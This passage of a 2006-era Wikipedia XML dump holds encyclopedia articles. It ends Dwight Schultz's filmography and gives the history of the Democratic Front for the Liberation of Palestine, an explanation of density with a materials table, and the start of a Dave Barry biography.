*''Child of Rage'' (1992)
*''Last Wish'' (1992)
*''A Killer Among Us'' (1990)
*''[[Perry Mason]]''
**&quot;The Case of the Musical Murder&quot; (1989)
**&quot;The Case of the Sinister Spirit&quot; (1987)
*''When Your Lover Leaves'' (1983)
*''[[The A-Team]]'' (1983)
*''Bitter Harvest'' (1981)
*''Dial 'M' for Murder'' (1981)
*''Thin Ice'' (1981)

===Radio===
*''Dark Matters with [[Don Ecker]] and Dwight Schultz''

===Video Games===
*''[[Fallout 2]]'' (1998)
*''[[Final Fantasy X]]'' (2001)
*''[[Final Fantasy X-2]]'' (2003)
*''[[Star Trek: Elite Force II]]'' (2003)
*''[[Battlestar Galactica]]'' (2003)
*''[[The Chronicles of Riddick: Escape from Butcher Bay]]'' (2004)
*''[[Psychonauts]]'' (2005)
*''[[Killer 7]]'' (2005)

===Animation===
*''[[Vampire Hunter D: Bloodlust]]''
*''[[Ninja Scroll: The Series]]''
*''[[The Wild Thornberrys]]''
*''[[Family Guy]]''
*''[[Johnny Bravo]]''
*''[[Grim &amp; Evil]]''
*''[[Spawn: The TV Series]]''
*''[[Princess Mononoke]]''
*''[[Reign: The Conquerer]]''
*''[[Golgo 13]]: Queen Bee''
*''[[The Animatrix]]''
*''[[Van Helsing: The London Assignment]]''
*''[[The Chronicles of Riddick: Dark Fury]]''

==External links==
* {{imdb name|id=0776239|name=Dwight Schultz}}

[[Category:1947 births|Schultz, Dwight]]
[[Category:Living people|Schultz, Dwight]]
[[Category:American film actors|Schultz, Dwight]]
[[Category:American television actors|Schultz, Dwight]]
[[Category:People from Baltimore|Schultz, Dwight]]
[[Category:American stage actors|Schultz, Dwight]]
[[Category:Star Trek actors|Schultz, Dwight]]
[[Category:American voice actors|Schultz, Dwight]]
[[Category:The A-Team actors|Schultz, Dwight]]

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  </page>
  <page>
    <title>Democratic Front for the Liberation of Palestine</title>
    <id>8427</id>
    <revision>
      <id>41986253</id>
      <timestamp>2006-03-03T01:30:32Z</timestamp>
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        <username>Fuhghettaboutit</username>
        <id>665998</id>
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      <minor />
      <comment>negotations---&gt;negotiations</comment>
      <text xml:space="preserve">{{Politics of Palestine}}
The '''Democratic Front for the Liberation of Palestine''' ([[Arabic language|Arabic]]: ''''الجبهة الديموقراطية لتحرير فلسطين'''', transliterated '''''Al-Jabha al-Dimuqratiya Li-Tahrir Filastin''''') is a [[Palestinian]] [[Marxism-Leninism|Marxist-Leninist]] political and military organization. Often referred to only as the '''Democratic Front''', or '''al-Jabha al-Dimuqratiyah''' (الجبهة الديموقراطية).

==History==

=== Formation as the PDFLP ===

In 1969, a faction of the [[left-wing]] [[Popular Front for the Liberation of Palestine]] (PFLP) broke away from the main organization to form the ''Popular Democratic Front for the Liberation of Palestine'' (PDFLP). The PDFLP was headed by Secretary-General [[Niaf Hawatmeh]], who had been referred to as a leader of the PFLP's [[Maoism|Maoist]] tendency. He believed that the PFLP had become, under the guidance of [[George Habash]], too focused on military matters, and wanted to make the PDFLP a more grass-roots and more ideologically focused organization.

By contrast, [[Ahmad Jibril]]'s [[Popular Front for the Liberation of Palestine-General Command]] (PFLP-GC), which has split away from Habash's organization in 1968, wanted to focus more on the tactical implementation of armed struggle.

The DFLP soon gained a reputation as the most intellectual of the Palestinian [[fedayeen]] groups, and drew heavily on [[Marxist-Leninist]] theory to explain the situation in the [[Middle East]]. Its other leaders included [[Yasser Abd Rabbo]].

===Early years and ideological moderation===

The PDFLP's original political orientation was based on the view that Palestinian national goals could be achieved only through [[revolution]] of the masses and &quot;[[people's war]]&quot;. However, it would soon come around to a more moderate standpoint and while preserving a hard-line attitude to armed struggle, the party began theorizing on various compromise solutions.

From the mid-1970s, the group occupied a political stance midway between [[Yasser Arafat]] and the PLO hardliners. The DFLP condemned attacks outside [[Israel]] (such as the [[aircraft hijacking]]s for which the Habash PFLP gained notoriety) and was essential in making the [[binational state]] the goal of the PLO in the 1970s, insisting on the need for cooperation between [[Arabs]] and [[Jews]]. Still, while pioneering Palestinian-Israeli peace talks through making early contact with Jewish and Israeli peace campaigners, the DFLP simultaneously conducted numerous small bombings and minor assaults against Israeli targets, refusing to give up the armed struggle. It also performed some more spectacular operations, of which the largest, and most well known, is the [[Ma'alot massacre]] of 1974.

===Between Fatah and the Rejectionists===

In 1974, the same year as the PDFLP changed its name into the Democratic Front for the Liberation of Palestine (DFLP), it acted as a strong supporter of the 1974 [http://www.palestine-un.org/plo/doc_one.html Ten Point Program]. This document, which was accepted by the Palestinian National Council (PNC) after lobbying by [[Fatah]] and DFLP, cautiously introduced the concept of a [[two-state solution]] in the PLO, and caused a split in the organization leading to the formation of the [[Rejectionist Front]], where radical organizations such as the PFLP, PFLP-GC, [[PLF]] and others gathered with the backing of [[Syria]], [[Libya]] and [[Iraq]] to oppose Arafat and PLO moderation.

In [[1978]] the DFLP temporarily switched sides and joined the Rejectionist Front after clashing with Arafat on several issues, but it would continue to serve as a mediator in the factional disputes of the PLO. In the tense situation leading up to the 1983 Fatah rebellion, during the Lebanese Civil War, DFLP offered mediation to prevent the Syrian-backed formation of a rival Fatah leadership under [[Said al-Muragha]] (Abu Musa), the [[Fatah al-Intifada]] faction. Its efforts ultimately failed, and the PLO became embroiled what was in effect a Palestinian [[civil war]].

===Stagnation in the 1980s===

From the early 1980s the DFLP was seen as the most pro-[[Soviet Union|Soviet]] of the PLO member organisations. The collapse of the Soviet Union and the growing [[Islamist]] trend in Palestinian society during the 1990s sapped the party of much of its popularity and resources. It continued to cautiously support Arafat's attempts to open negotiations with Israel, but this was not uncontroversial within the membership.

The First Intifada (1987-93) provoked a shift in Palestinian politics towards the [[Occupied Palestinian Territories]], which proved a severe handicap for the largely [[diaspora]]-based DFLP. With the swift rise of [[Islamism]] and religious groups such as [[Hamas]] in the 1980s, the DFLP faded among the Palestinian youth, and internal confusion over the future path of the organization paralysed political decision-making.

===1991 split===

In [[1991]] the DFLP split, with a minority faction led by [[Yasser Abd Rabbo]] (who had become increasingly close to Yassir Arafat) favouring the [[Madrid Conference of 1991|Madrid negotiations]] that led initially to limited Palestinian [[self-governance|autonomy]] in the [[West Bank]] and [[Gaza Strip]]. Inspired by the USSR's [[Glasnost]] and the fall of the [[Berlin Wall]], this group also favored a new political orientation, focused less on Marxism and armed struggle, and more on the democratisation of Palestinian society. It reconstituted itself as the [[Palestine Democratic Union]] (FIDA), and Abed Rabbo was officially made an advisor of Arafat.

There were reports of armed clashes betwen the factions in Syria during the split. Essentially the [[Damascus]]-headquartered DFLP under Hawatmeh was able to retain its external branches, whereas the majority of the organization within Palestine, mainly on the West Bank, was taken over by FIDA.

*''For more on FIDA, see [[Palestine Democratic Union]]''

===The Oslo period===
The DFLP, under Hawatmeh, joined the rejectionist groups to form the [[Alliance of Palestinian Forces]] (APF) to oppose the [[Oslo Accords|Declaration of Principals]] signed in 1993. The group argued that the Oslo negotiations were undemocratic, excluded the PLO from decision-making and deprived the Palestinians of their legitimate rights, but in contrast to most other Alliance members they did not oppose a two-state solution as such. Along with the PFLP, it then broke from the APF over ideological differences, and has made limited moves toward merging with the PFLP since the mid-1990s.

In 1999, at a meeting in [[Cairo]], the DFLP and the PFLP agreed to cooperate with the PLO leadership in final status negotiations with Israel. The DFLP was subsequently represented in the Palestinian delegation at the unsuccessful [[Camp David 2000 Summit|Camp David negotiations]] of July 2000.

=== Second Intifada (2000-) ===

The DFLP has been largely unable to make its presence felt during the al-Aqsa Intifada, which began in 2000. The leadership is stationed in Damascus, and most of the DFLP organization on the Occupied Territories unraveled in the FIDA split. Its military capacity has been fading fast since the 1993 [[cease-fire]] between the PLO and [[Israel]], which the DFLP respected despite its objections to the Oslo Accords.

Since the beginning of the [[Al-Aqsa Intifada|second Intifada]] the DFLP has carried out a number of shooting attacks against Israeli targets, such as the August 2001 attack that killed three Israeli soldiers[http://www.medea.be/?page=2&amp;lang=en&amp;doc=72]. However, its military capabilities in the Occupied Territories remain limited, and the refocusing on armed struggle during the Intifada has further weakened the organization.

The DFLP confines all its military activities to the Occupied Territories, and publicly argues against targeting anyone or anything inside the [[Green Line]], saying Palestinians must fight only the occupation, not Israeli civilians.

On [[September 11]], [[2001]], an anonymous caller claimed responsibility for the [[September 11 attacks]] in the [[United States]] on behalf of the DFLP. This was immediately denied by [[Niaf Hawatmeh]], who strongly condemned the attacks[http://www.progressiveaustin.org/iso_wtc.htm]. Although the accusations gained some attention in the days following the attacks, they are now universally regarded as false.[http://www.medea.be/?page=2&amp;lang=en&amp;doc=72]

== Political influence ==
The DFLP ran a candidate, [[Taysir Khalid]], in the Palestinian Authority [[Palestinian presidential election, 2005|presidential election]] in [[2005]]. He gained 3.35% of the vote. The party had initially participated in discussions with the PFLP and the [[Palestinian People's Party]] on running a joint left-wing candidate, but these were unsuccessful. It won one seat in the 2005 PA municipal elections.

In the 2006 elections to the [[Palestinian Legislative Council]], the Front formed a joint list called ''[[al-Badeel]]'' (The Alternative) with [[Palestine Democratic Union]] (FIDA), the [[Palestinian People's Party]] and independents.[http://www.dflp-palestine.org/english/news_&amp;_reports/al-badil-list-kicks.htm] The list was led by the historic DFLP leader Qais Abd al-Karim (Abou Leila). It received 2.8% of the popular vote and won two of the Council's 132 seats. 

The DFLP retains important influence within the [[Palestine Liberation Organization]] (PLO). It was traditionally the third-largest group within the PLO, after [[Fatah]] and the PFLP, and since no new elections have been held to the [[Palestinian National Council|PNC]] or the [[PLO Executive Committee|Executive Committee]] since 1988, the DFLP still commands important sectors within the organization. The PLO's role has admittedly diminished in later years, in favor of the [[Palestinian National Authority]] (PNA), but it is still the recognized representative of the Palestinian people, and a reactivation of the PLO's constitutional supremacy over the PNA in connection with power struggles in Palestinian society is a distinct possibility.

== Area of operation ==
The DFLP is primarily active among Palestinians in [[Syria]] and [[Lebanon]], with a smaller presence in the [[West Bank]] and [[Gaza Strip]]. Its [[Jordan]] branch has been converted into a separate political party, the [[Jordanian Democratic People's Party]] (JDPP or Hashd), and the DFLP is no longer active on the political arena there.

The party publishes a weekly newspaper in several Arab countries, ''[[al-Hurriya (DFLP)|al-Hurriya]]'' (Liberty)[http://www.alhourriah.org/].

== External Relations==
The DFLP is believed to receive limited financial and military aid from Syria, where it is active in the [[Palestinian refugee|Palestinian]] [[refugee camps]]. The DFLP's leader, Niaf Hawatmeh lives in Syria.

The DFLP is not listed as a [[terrorism|terrorist]] organization by the [[United States]] government, on its [[U.S. State Department list of Foreign Terrorist Organizations|list of Foreign Terrorist Organization]]s, or by the [[United Nations]].

==References==
* ''Patterns of Global Terrorism'', [[1998]]. [[United States Department of State]], April, [[1999]].

==See also==
* [[Jordanian Democratic People's Party]]
* [[Palestinian territories]]
* [[Palestine Democratic Union]]

==External links==
* [http://www.dflp-palestine.org/ Democratic Front for the Liberation of Palestine] - official [[English language]] web page.
* [http://www.badeel.ps/ Al-badeel electoral coalition]
* [http://www.alhourriah.org/ al-Hourriah Magazine] ([[Arabic language|Arabic]])
* [http://www.hashd-ahali.org.jo/ al-Ahali] - Newspaper of the Jordanian JDPP ([[Arabic language|Arabic]])

[[Category:Armed leftist groups]]
[[Category:National liberation movements]]
[[Category:Palestinian militant groups]]
[[Category:Political parties in Palestine]]
[[Category:Israeli-Palestinian conflict]]
[[Category:Palestine]]

[[ar:جبهة ديمقراطية لتحرير فلسطين]]
[[eo:FDLP]]
[[he:החזית הדמוקרטית לשחרור פלסטין]]
[[no:Demokratisk Front for frigjøring av Palestina]]</text>
    </revision>
  </page>
  <page>
    <title>DFLP</title>
    <id>8428</id>
    <revision>
      <id>15906429</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Democratic Front for the Liberation of Palestine]]

</text>
    </revision>
  </page>
  <page>
    <title>Density</title>
    <id>8429</id>
    <revision>
      <id>41817417</id>
      <timestamp>2006-03-01T23:08:05Z</timestamp>
      <contributor>
        <ip>71.242.13.8</ip>
      </contributor>
      <text xml:space="preserve">:'' For other senses of &quot;density&quot;, see [[density (disambiguation)]].''
'''Density''' (symbol: ''&amp;rho;'' - [[Greek language|Greek]]: [[Rho (letter)|rho]]) is a measure of [[mass]] per unit of [[volume]]. The higher an object's density, the higher its mass per volume. The average density of an object equals its total mass [[division (mathematics)|divided]] by its total volume. A denser object (such as [[iron]]) will have less volume than an equal mass of some less dense substance (such as [[water]]). 
The '''[[SI]] unit''' of density is the [[kilogram per cubic metre]] ('''[[kilogram|kg]]/[[cubic metre|m&lt;sup&gt;3&lt;/sup&gt;]]''')

:&lt;math&gt;\rho = \frac{m}{V}&lt;/math&gt;

where
:''&amp;rho;'' is the object's density (measured in kilograms per cubic metre)

:''m'' is the object's total [[mass]] (measured in kilograms)

:''V'' is the object's total [[volume]] (measured in cubic metres)



Under specified conditions of temperature and pressure, density of a fluid is defined as described above. However, the density of a solid material can be different, depending on exactly how it is defined. Take [[sand]] for example.  If you gently fill a container with sand, and divide the mass of sand by the container volume you get a value termed ''loose [[bulk density]]''. If you took this same container and tapped on it repeatedly, allowing the sand to settle and pack together, and then calculate the results, you get a value termed ''tapped'' or ''packed bulk density''. Tapped bulk density is always greater than or equal to loose bulk density. In both types of bulk density, some of the volume is taken up by the spaces between the grains of sand.

Also, in terms of [[candy]] making, density is affected by the melting and cooling processes. Loose granular [[sugar]], like sand, contains a lot of air and is not tightly packed, but when it has melted and starts to boil, the sugar loses its granularity and entrained air and becomes a fluid. When you mold it to make a smaller, compacted shape, the syrup tightens up and loses more air. As it cools, it contracts and gains moisture, making the already heavy candy even more dense.

==Other units==
'''Density''' in terms of the SI base units is expressed in terms of [[kilogram]]s per cubic [[metre]] (kg/m&amp;sup3;). Other units fully within the SI include grams per cubic centimetre (g/cm&amp;sup3;) and megagrams per cubic metre (Mg/m&amp;sup3;). Since both the [[litre]] and the [[tonne]] or metric ton are also acceptable for use with the SI, a wide variety of units such as kilograms per litre (kg/L) are also used.
[[Imperial units]] or [[US customary units|U.S. customary units]], the units of density include [[pound (weight)|pound]]s per [[cubic foot]] (lb/ft&amp;sup3;), pounds per cubic yard (lb/yd&amp;sup3;), pounds per cubic inch (lb/in&amp;sup3;), ounces per cubic inch (oz/in&amp;sup3;), pounds per [[gallon]] (for U.S. or imperial gallons) (lb/gal), pounds per U.S. [[bushel]] (lb/bu), in some engineering calculations [[slug (mass)|slugs]] per cubic foot, and other less common units.

The maximum density of pure water at a pressure of one standard [[Atmosphere (unit)|atmosphere]] is 999.972 kg/m&amp;sup3;; this occurs at a temperature of about 3.98 &amp;deg;C (277.13 K).

From [[1901]] to [[1964]], a litre was defined as exactly the volume of 1 kg of water at maximum density, and the maximum density of pure water was 1.000&amp;nbsp;000 kg/L (now 0.999&amp;nbsp;972 kg/L). However, while that definition of the litre was in effect, just as it is now, the maximum density of pure water was 0.999&amp;nbsp;972 kg/dm&lt;sup&gt;3&lt;/sup&gt;. During that period students had to learn the esoteric fact that a cubic centimetre and a millilitre were slightly different volumes, with 1 mL = 1.000&amp;nbsp;028 cm&lt;sup&gt;3&lt;/sup&gt;.  (often stated as 1.000&amp;nbsp;027 cm&lt;sup&gt;3&lt;/sup&gt; in earlier literature).

==Measurement of density==
A common device for measuring fluid density is a [[pycnometer]].  A device for measuring absolute density of a solid is a [[gas pycnometer]].

==Density of substances==
Perhaps the highest density known is reached in [[neutron star]] matter (see [[neutronium]]). The [[gravitational singularity|singularity]] at the centre of a [[black hole]], according to [[general relativity]], does not have any volume, so its density is undefined.

The most dense naturally occurring substance on [[Earth]] is [[iridium]], at about 22650 kg/m&lt;sup&gt;3&lt;/sup&gt;.

A table of densities of various substances:
&lt;table&gt;
&lt;tr&gt;&lt;td&gt;&lt;b&gt;Substance&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;Density in kg/m&lt;sup&gt;3&lt;/sup&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Iridium]]&lt;/td&gt;&lt;td&gt;22650&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Osmium]]&lt;/td&gt;&lt;td&gt;22610&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Platinum]]&lt;/td&gt;&lt;td&gt;21450&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Gold]]&lt;/td&gt;&lt;td&gt;19300&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Tungsten]]&lt;/td&gt;&lt;td&gt;19250&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Uranium]]&lt;/td&gt;&lt;td&gt;19050&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Mercury (element)|Mercury]]&lt;/td&gt;&lt;td&gt;13580&lt;/td&gt;&lt;tr&gt;
&lt;tr&gt;&lt;td&gt;[[Palladium]]&lt;/td&gt;&lt;td&gt;12023&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Lead]]&lt;/td&gt;&lt;td&gt;11340&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Silver]]&lt;/td&gt;&lt;td&gt;10490&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Copper]]&lt;/td&gt;&lt;td&gt; &amp;#160; 8960&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Iron]]&lt;/td&gt;&lt;td&gt; &amp;#160; 7870&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Steel]]&lt;/td&gt;&lt;td&gt; &amp;#160; 7850&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Tin]]&lt;/td&gt;&lt;td&gt; &amp;#160; 7310&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Titanium]]&lt;/td&gt;&lt;td&gt; &amp;#160; 4507&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Diamond]]&lt;/td&gt;&lt;td&gt; &amp;#160; 3500&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Basalt]]&lt;/td&gt;&lt;td&gt; &amp;#160; 3000&lt;/td&gt;&lt;tr&gt;
&lt;tr&gt;&lt;td&gt;[[Granite]]&lt;/td&gt;&lt;td&gt; &amp;#160; 2700&lt;/td&gt;&lt;tr&gt;
&lt;tr&gt;&lt;td&gt;[[Aluminium]]&lt;/td&gt;&lt;td&gt; &amp;#160; 2700&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Graphite]]&lt;/td&gt;&lt;td&gt; &amp;#160; 2200&lt;/td&gt;&lt;tr&gt;
&lt;tr&gt;&lt;td&gt;[[Magnesium]]&lt;/td&gt;&lt;td&gt; &amp;#160; 1740&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Polyvinyl chloride|PVC]]&lt;/td&gt;&lt;td&gt; &amp;#160; 1300&lt;/td&gt;&lt;tr&gt;
&lt;tr&gt;&lt;td&gt;[[Seawater]]&lt;/td&gt;&lt;td&gt; &amp;#160; 1025&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Water]]&lt;/td&gt;&lt;td&gt; &amp;#160; 1000&lt;/td&gt;&lt;/tr&gt; &lt;!--to one more digit, 999.8 at STP, never as high as 1000 at any temperature at one atmosphere of pressure--&gt;
&lt;tr&gt;&lt;td&gt;[[Ice]]&lt;/td&gt;&lt;td&gt; &amp;#160; 917&lt;/td&gt;&lt;tr&gt;
&lt;tr&gt;&lt;td&gt;[[Polyethylene]]&lt;/td&gt;&lt;td&gt; &amp;#160; 910&lt;/td&gt;&lt;tr&gt;
&lt;tr&gt;&lt;td&gt;[[Ethyl alcohol]]&lt;/td&gt;&lt;td&gt; &amp;#160; 790&lt;/td&gt;&lt;tr&gt;
&lt;tr&gt;&lt;td&gt;[[Gasoline]]&lt;/td&gt;&lt;td&gt; &amp;#160; 730&lt;/td&gt;&lt;tr&gt;
&lt;tr&gt;&lt;td&gt;Liquid [[Hydrogen]]&lt;/td&gt;&lt;td&gt; &amp;#160; 68&lt;/td&gt;&lt;tr&gt;
&lt;tr&gt;&lt;td&gt;[[Aerogel]]&lt;/td&gt;&lt;td&gt; &amp;#160; 3&lt;/td&gt;&lt;tr&gt;
&lt;tr&gt;&lt;td&gt;any [[gas]]&lt;/td&gt;&lt;td&gt; &amp;#160; 0.0446 times the average [[molecular mass]], hence between 0.09 and ca. 10.0 (at [[standard temperature and pressure]])
&lt;tr&gt;&lt;td&gt;For example [[Earth's atmosphere|air]]&lt;/td&gt;
&lt;td&gt;&amp;#160;&amp;#160;1.2&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;


{| border=&quot;0&quot; cellpadding=&quot;1&quot; cellspacing=&quot;0&quot;
|colspan=&quot;2&quot; align=&quot;center&quot; | '''Density of air ''&amp;rho;'' vs. [[temperature]] °C '''
|-
|''T'' in °C || ''&amp;rho;'' in kg/m³

|-
| - 10 || 1.341 
|-
| - 5 ||  1.316
|-
|   0 ||  1.293 
|-
| + 5 ||  1.269
|-
| + 10 ||  1.247 
|-
| + 15 ||  1.225
|-
| + 20 ||  1.204
|-
| + 25 ||  1.184 
|-
| + 30 ||  1.164 
|}

Note the low density of aluminium compared to most other metals. For this reason, aircraft are made of aluminium. Also note that air has a nonzero, albeit small, density. [[Aerogel]] is the world's lightest solid.

==See also==
*[[ISO 31]]: '''volumic mass'''
*[[Dord]]
*[[Standard temperature and pressure]]
*[[Relative density]] (specific gravity)
*[[Charge density]]
*[[Energy density]]
*[[Population density]]

[[Category:Continuum mechanics]]
[[Category:Introductory physics]]
[[Category:Fundamental physics concepts]]
[[Category:Physical quantity]]
[[Category:Physical chemistry]]

[[af:Digtheid]]
[[als:Dichte]]
[[ar:كتلة حجمية]]
[[bg:Плътност]]
[[ca:Densitat]]
[[cs:Hustota]]
[[da:Massefylde]]
[[de:Dichte]]
[[et:Tihedus]]
[[es:Densidad (física)]]
[[eo:Denseco]]
[[fa:چگالی]]
[[fr:Densité]]
[[io:Denseso]]
[[is:Eðlismass]]
[[it:Densità]]
[[he:צפיפות החומר]]
[[lv:Blīvums]]
[[lt:Tankis]]
[[mk:Густина]]
[[ms:Ketumpatan]]
[[nl:Dichtheid]]
[[ja:密度]]
[[no:Tetthet]]
[[pl:Gęstość]]
[[pt:Massa volúmica]]
[[ro:Densitate]]
[[ru:Плотность вещества]]
[[sl:Gostota]]
[[sr:Густина]]
[[fi:Tiheys]]
[[th:ความหนาแน่น]]
[[tr:Yoğunluk]]
[[uk:Густина]]
[[zh:密度]]</text>
    </revision>
  </page>
  <page>
    <title>Dave Barry</title>
    <id>8432</id>
    <revision>
      <id>42115519</id>
      <timestamp>2006-03-03T22:47:09Z</timestamp>
      <contributor>
        <ip>206.190.139.254</ip>
      </contributor>
      <comment>/* Trivia */ rm trivia of dubious interest</comment>
      <text xml:space="preserve">'''David Barry, Jr.''' (born [[July 3]], [[1947]]) is a bestselling [[United States of America|American]] author and [[Pulitzer Prize]]-winning [[humorist]] who wrote a nationally syndicated column for the ''[[The Miami Herald]]'' from 1983 to 2005.

==Biography==
Barry was born in [[Armonk, New York|Armonk]], [[New York]], where his father, David Barry, Sr., was a [[Presbyterianism|Presbyterian]] minister.  He was educated at [[Pleasantville High School]], where he was elected class clown in 1965, and at [[Haverford College]], where he played in [[Federal Duck]] (a student rock band) and earned a Bachelor of Arts degree in English in 1969.  As the son of a minister and an alumnus of a [[Religious Society of Friends|Quaker]]-affiliated college, Barry avoided military service during the [[Vietnam War]] by registering as a religious [[conscientious objector]] even though, as he declared in a 2001 interview with the ''Fort Worth Star-Telegram'', he had decided he &quot;was an [[atheist]] early on.&quot;

His journalism career began as a reporter with the ''Daily Local News'', in [[West Chester, Pennsylvania]], where he &quot;covered a series of incredibly dull municipal meetings, some of which are still going on.&quot;  In 1975, Barry joined Burger Associates, a consulting firm. He taught effective writing to business people. In his own words, he &quot;spent nearly eight years trying to get his students to stop writing things like `Enclosed please find the enclosed enclosures,' but... eventually realized that it was hopeless.&quot;  In 1983, Barry was hired by [[Gene Weingarten]] as a humor columnist for the ''[[Miami Herald]]''. Barry won a [[Pulitzer Prize]] for Commentary in 1988, &quot;for his consistently effective use of humor as a device for presenting fresh insights into serious concerns.&quot;

For a 1992 [[American Booksellers Association]] convention, several authors including Barry formed a band for charity: [[Rock Bottom Remainders|The Rock Bottom Remainders]] (&quot;[[Remaindered book|remainder]]&quot; is a publishing term for a book that doesn't sell). The members of the band, which has at various times included [[Stephen King]], [[Amy Tan]], [[Ridley Pearson]], [[Mitch Albom]], [[Kathy Goldmark]], [[Roy Blount Jr.]], [[Barbara Kingsolver]] and [[Matt Groening]], &quot;are not musically skilled, but they are extremely loud,&quot; according to Barry. The band's road tour resulted in the book ''Mid-Life Confidential: The Rock Bottom Remainders Tour America with Three Chords and an Attitude'', which is now out of print.

[[CBS]] broadcast the [[situation comedy]] ''[[Dave's World]]'' for four seasons, from 1993 to 1997, based on the books ''Dave Barry Turns 40'' and ''Dave Barry's Greatest Hits'', starring [[Harry Anderson]] as Barry, and [[DeLane Matthews]] as his wife, Beth. In an early episode, Barry was cast in a cameo role. The program was canceled shortly after being moved from Monday to the [[Friday night death slot]].

Barry's first novel, ''Big Trouble'', was made into a [[Big Trouble|motion picture]]; directed by [[Barry Sonnenfeld]], it starred [[Tim Allen]], [[Rene Russo]] and ''Dave's World'' alum [[Patrick Warburton]], with a cameo by Barry. The movie was originally due for release in late 2001, but was postponed shortly after the [[September 11, 2001 terrorist attack]] because the story involved smuggling a [[nuclear weapon]] onto an airplane.

His ''Complete Guide To Guys'' was also made into a film, in 2005; it premiered at several film festivals, to mediocre notices, and is available on DVD, though a theatrical release seems unlikely.

Barry and his first wife, Beth, had one child, Robert, in 1980.  The Barrys divorced in the mid-1990s. In 1996, Barry married ''Miami Herald'' [[sportswriter]] Michelle Kaufman; they had a daughter, Sophie, in 2000. All are mentioned regularly in Barry's columns, though his divorce was notably not discussed. Barry's initial meeting and courtship with Michelle were, however, widely thought to have been dramatized in an epilogue to his novel ''[[Dave Barry in Cyberspace]]'', but with names changed: Barry is cast as 'RayAdverb' (an [[anagram]] of 'Dave Barry'), and Michelle is represented as 'MsPtato'.

Barry once picked up his son Rob from Junior High School while driving the Oscar Mayer [[Wienermobile]].

Articles written by Barry have appeared in publications such as ''Boating'', ''Home Office Computing'' and ''[[Reader's Digest]]'', in addition to the ''[[Chicken Soup for the Soul]]'' inspirational book series. One of his columns was used (without his permission or objections, or possibly even his knowledge) as the introduction to the book &quot;Pirattitude: So you wanna be a pirate? Here's how.&quot;

When distinguishing fact from hyperbole, Barry frequently asserts: &quot;I swear I am not making this up.&quot; Among his favorite topics are exploding or flaming items (cows, whales, vacuum cleaners, toilets, [[pop tarts]], [[Barbie]] dolls, etc.), dogs lacking intelligence, and amusing government studies. Barry also has [[libertarianism|libertarian]] political leanings.  He labels various posts on his blog with long abbreviations, such as OIYDWYMTTY(NY)G (&quot;''Or If You Don't Want Your Mother To Think You're (Not Your) Gay''&quot;) and wbagnfarb (&quot;''would be a great name for a rock band''&quot;, an observation Barry often applies to phrases which pop up in his writing, such as &quot;Italic Squirrels&quot;), no doubt poking fun at unnecessarily long internet abbreviations.  Barry's website contains a fairly sizeable list of things &quot;which would be a great name for a rock band&quot;.

Barry has defined a sense of humor as &quot;a measurement of the extent to which we realize that we are trapped in a world almost totally devoid of reason. Laughter is how we express the anxiety we feel at this knowledge.&quot;

Barry helps organize the [[Tropic Hunt]], an annual [[puzzlehunt]] in Miami.

On [[October 20]], [[2004]], Dave Barry announced that he would be taking an indefinite leave of absence of at least a year from his weekly humor column with the ''Herald'' in order to spend more time with his family. He said that he would continue writing humor and children's books and working on filming the screen adaptation of his book, ''Dave Barry's Complete Guide to Guys''. On [[December 28]], [[2005]], Barry said in an interview with &quot;Editor and Publisher&quot; that he will not be resuming his weekly column, though he will continue some features such as his yearly gift guide, year in review, his weblog, as well as an occasional column. [http://www.editorandpublisher.com/eandp/news/article_display.jsp?vnu_content_id=1001771322]

==Trivia==
* Many Dave Barry quotations occur in the [[Fortune (program)|fortune]] cookie collections of [[Linux]] distributions; he is also often misattributed as the author of humorous material on the [[Internet]].

==Works==
===Films===
*''[[Big Trouble (film)|Big Trouble]]'' (2001/2)
*''[[Dave Barry's Complete Guide to Guys]]'' (2005)

===Fiction===
*''[[Big Trouble (novel)|Big Trouble]]''  (1999)
*''[[Tricky Business]]'' (2002)
*''[[Peter and the Starcatchers]]''  (2004, with [[Ridley Pearson]])
*''Peter and the Shadow Thieves''  ('''Forthcoming''', July 2006, with [[Ridley Pearson]], Greg Call) ISBN: 078683787X

===Non-fiction===
*''[[The Taming of the Screw]]'' (1983)
*''[[Babies and Other Hazards of Sex: How to Make a Tiny Person in Only 9 Months With Tools You Probably Have Around the Home]]'' (1984)
*''[[Stay Fit and Healthy Until You're Dead]]'' (1985)
*''[[Claw Your Way to the Top: How to Become the Head of a Major Corporation in Roughly a Week]]'' (1986)
*''[[Dave Barry's Guide to Marriage and/or Sex]]'' (1987)
*''[[Homes and Other Black Holes]]'' (1988)
*''[[Dave Barry Slept Here: A Sort of History of the United States]]'' (1989)
*''[[Dave Barry Turns 40]]'' (1990)
*''[[Dave Barry's Only Travel Guide You'll Ever Need]]'' (1991)
